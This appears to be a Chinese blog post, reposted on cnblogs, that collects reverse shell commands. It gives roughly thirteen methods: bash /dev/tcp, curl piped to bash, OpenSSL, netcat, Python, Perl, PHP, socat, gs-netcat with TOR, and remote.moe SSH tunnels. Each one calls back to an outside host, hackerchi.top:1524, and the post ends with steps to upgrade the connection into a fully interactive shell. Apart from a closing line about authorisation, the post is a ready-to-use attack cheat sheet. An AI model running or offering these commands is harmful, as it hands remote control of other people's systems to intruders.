首页 > 系统相关 >【反向Shell命令】集合

【反向Shell命令】集合

时间:2024-08-02 14:17:36浏览次数:10  
标签:shell top 1524 hackerchi Shell 反向 集合 bash

❝

本指南提供了多种方法来建立反向Shell,包括使用加密和明文方式,适用于不同的场景和需求。通过这些技术,安全专家和合法授权的渗透测试者可以有效地控制远程系统,进行安全测试和漏洞评估。

    gs-netcat 提供加密的反向Shell,支持文件传输和管理员登录警报。

    Bash 和 cURL 方法允许通过简单的命令行工具建立连接。OpenSSL 和 remote.moe 提供了加密通道,增强了数据传输的安全性。

    对于特殊环境,如不支持/dev/tcp或没有Bash的系统,可以使用 Python、PHP、Perl 或 netcat 来建立反向Shell。

    为了提升交互体验,介绍了如何将反向Shell升级为PTY Shell和完全交互式Shell,使得使用者能够执行更复杂的命令和程序。

    socat 提供了一种高级的反向Shell建立方式,支持完全交互式体验。

❞

1、使用 gs-netcat 进行反向 shell(加密)

gs-netcat 提供一个加密的反向 shell,允许在 NAT 后面的系统之间建立连接,并通过中继网络路由流量。
它支持文件上传/下载以及管理员登录时的警报功能。
部署命令:

X=hackerchiSecretChangeMe bash -c "$(curl -fsSL <https://gsocket.io/y>)"

或者

X=hackerchiSecretChangeMe bash -c "$(wget --no-verbose -O- <https://gsocket.io/y>)"

连接到 shell:

S=hackerchiSecretChangeMe bash -c "$(curl -fsSL <https://gsocket.io/y>)"

或者

gs-netcat -s hackerchiSecretChangeMe -i

添加 -T 参数可以通过 TOR 网络进行隧道传输。

2、 使用 Bash 进行反向 shell

侦听命令:

nc -nvlp 1524

或使用 pwncat:

pwncat -lp 1524

在远程系统上执行:

(bash -i &>/dev/tcp/hackerchi.top/1524 0>&1) &

或者,如果当前 shell 不是 Bash:

bash -c '(exec bash -i &>/dev/tcp/hackerchi.top/1524 0>&1) &'

3、 使用 cURL 进行反向 shell(加密)

在工作站上生成 SSL 密钥并启动监听服务器:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=hackerchi"
    ./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

在目标系统上执行:

curl -skfL <https://hackerchi.top:8080> | bash

4、 使用 cURL 进行反向 shell(明文)

启动监听:

ncat -kltv 1524

在目标系统上执行:

C="curl -Ns telnet://hackerchi.top:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5、 使用 OpenSSL 进行反向 shell(加密)

在工作站上生成 SSL 密钥并启动监听服务器:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=hackerchi"
    openssl s_server -port 1524 -cert cert.pem -key key.pem

在目标系统上启动 OpenSSL 反向 shell:

({ openssl s_client -connect hackerchi.top:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

6、 不带 /dev/tcp 的反向 shell

对于不支持 /dev/tcp 或者没有 Bash 的嵌入式系统,可以使用其他语言(Python、PHP、Perl 等)或上传 netcat 来建立反向 shell。

使用 netcat:或者,如果 e 不支持:

nc -e /bin/sh -vn hackerchi.top 1524
{ nc -vn hackerchi.top 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

7、 使用 remote.moe 和 ssh 进行反向 shell(加密)

通过 remote.moe 隧道传输原始 TCP 数据,可以建立加密的反向 shell。

  • 在工作站上创建隧道:
ssh-keygen -q -t rsa -N "" -f .r
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r

注意记录下 remote.moe 地址,看起来像是 uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe。

  • 在第二个终端开始监听反向 shell:
nc -vnlp 8080
  • 在目标系统上执行:
bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe;  bash -i &>/dev/tcp/0/31338 0>&1 &)'

8、 使用 Python 进行反向 shell

执行命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("hackerchi.top",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

9、 使用 Perl 进行反向 shell

  • 方法1:
perl -e 'use Socket;$i="hackerchi.top";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 方法2:
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"hackerchi.top:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

10、 使用 PHP 进行反向 shell

执行命令:

php -r '$sock=fsockopen("hackerchi.top",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

11、 将反向 shell 升级为 PTY shell

为了使某些命令(如 sudo bash 或 top)正常工作,我们需要将 shell 升级为真正的 PTY shell。

使用 script:

exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

使用 python:

exec python -c 'import pty; pty.spawn("/bin/bash")'

12、 将反向 shell 升级为完全交互式 shell

为了能够使用 Ctrl-C 等控制字符,我们需要将反向 shell 升级为完全交互式 shell。

在目标主机上获取 PTY:

python -c 'import pty; pty.spawn("/bin/bash")'

然后按 Ctrl-Z 暂停连接并返回到自己的终端。

在您的终端上执行:

stty raw -echo opost; fg

在目标主机上配置环境:

export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\\033[18t";read -rdt R;stty sane $(echo "$R"|awk -F";" '{ printf "rows "$3" cols"$2; }')

并优化您的提示符:

PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '

13、 使用 socat 进行反向 shell(完全交互)

socat 是一个多功能的网络工具,可以用来创建更加复杂的反向 shell,提供完全交互式的体验。

在攻击者的主机上(监听器):

socat file:`tty`,raw,echo=0 tcp-listen:1524

在目标主机上(反向 shell):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:hackerchi.top:1524

通过这些方法,无论是通过简单的 Bash 脚本还是利用更高级的工具如 socat,都可以实现反向 shell 的建立,从而为渗透测试者、安全研究员或者是合法授权的黑客提供了强大的远程控制能力。记得在进行这些操作时,确保你有明确的授权,以避免违法行为。

原创 黑客驰

标签:shell,top,1524,hackerchi,Shell,反向,集合,bash
From: https://www.cnblogs.com/o-O-oO/p/18338669

相关文章

  • C高级(3):shell脚本
    目录1shell的基础概念:1.1概念1.2创建和执行2变量2.1用户自定义变量2.2位置变量2.3预定义变量2.4环境变量3功能语句3.1说明性语句3.2功能性语句1)read2)expr3)let4结构性语句4.1if语句4.2case语句4.3for循环4.4while4.5循环控制语句1shell的基础概念:1.1概......
  • Shell入门(保姆级教学)
    Shell是一种命令行解释器,也是一种脚本语言,广泛应用于Unix和类Unix系统中,例如Linux。它是用户与操作系统内核交互的桥梁,通过Shell可以执行系统命令、管理文件系统、处理文本数据等。本文将带你入门Shell编程,涵盖基础的语法、常用命令和一些实用技巧。Shell编程跟JavaScript、......
  • 如何通过PowerShell批量修改O365用户的office phone属性值
    我的博客园:https://www.cnblogs.com/CQman/如何通过PowerShell批量修改O365用户的officephone属性值?需求信息: 组织中的O365用户在创建时,已手动录入了办公电话(Officephone),现在需要在办公电话前面加上统一的数字,如“0571-0985”,以批量的方式统一修改。备注:O365用户的Offic......
  • where /? 在 Windows 中,where 命令是用于在命令提示符或 PowerShell 中查找指定命令的
     在Windows中,where命令是用于在命令提示符或PowerShell中查找指定命令的位置的工具。它可以帮助用户确定系统中某个可执行文件的路径。使用方法:基本用法:shellCopyCodewherecommand其中command是你要查找的命令或可执行文件的名称。例如,如果你想查找notepad的......
  • Java,集合Collections类Set接口
    一.Collections类1.Collections常用功能publicstaticvoidshuffle(List<?>list):打乱集合顺序。publicstaticvoidsort(Listlist):将集合中元素按照默认规则排序。publicstaticvoidsort(Listlist,Comparator<?superT>com):将集合中元素按照指定规则排序。public......
  • New-SmbMapping命令在PowerShell中用于创建新的SMB映射,其主要参数如下:
    New-SmbMapping命令在PowerShell中用于创建新的SMB映射,其主要参数如下:RemotePath:指定远程共享的路径。可以是网络共享的UNC路径,如\\server\share。LocalPath:指定本地计算机上的映射路径,通常是一个驱动器号或者文件夹路径。例如,Z:或C:\Share。Credential:用于连接远程共......
  • Midjourney入门-超全面的参数大全集合
    Midjourney的参数是什么即为Midjourney的后缀参数,用于调控生成图像的尺寸、风格、画面元素等参数使用格式提示词+【--对应参数+空格+参数数值】ps.所有符号都需使用英文格式不同的参数对应的功能以及数值范围不同常用参数:参数用途格式数值ar调整图片的长......
  • C#中常用集合类型
    原文:C#中常用集合类型-Y00-博客园(cnblogs.com) 在C#中,集合是用于存储和操作一组数据项的数据结构。这些集合通常位于System.Collections和System.Collections.Generic命名空间中。下面我将概述C#中几种常用的集合类型及其特点:1.System.Collections命名空间中的......
  • shell脚本中使用expect实现自动交互
    需求:每天凌晨监控远程服务器上指定目录下文件是否生成,已生成则拉取到本地服务器指定目录下实现方案:shell脚本实现,配置crontab定时任务。shell脚本中sftp登录远程服务器时自动输入密码等操作需用用到expect语法,需安装expectexpect安装参考:https://blog.csdn.net/nichosx/arti......
  • Shell脚本的进程管理
    进程管理是系统管理的重要方面,通过对进程的监控、启动、停止和重启,可以保证系统的稳定运行。Shell脚本是一种强大的工具,可以对进程进行自动化管理,提高效率和准确性。参考:shell脚本进程管理-CSDN文库shell脚本进程管理-CSDN文库【Linux基础】利用shell脚本完成对程序进......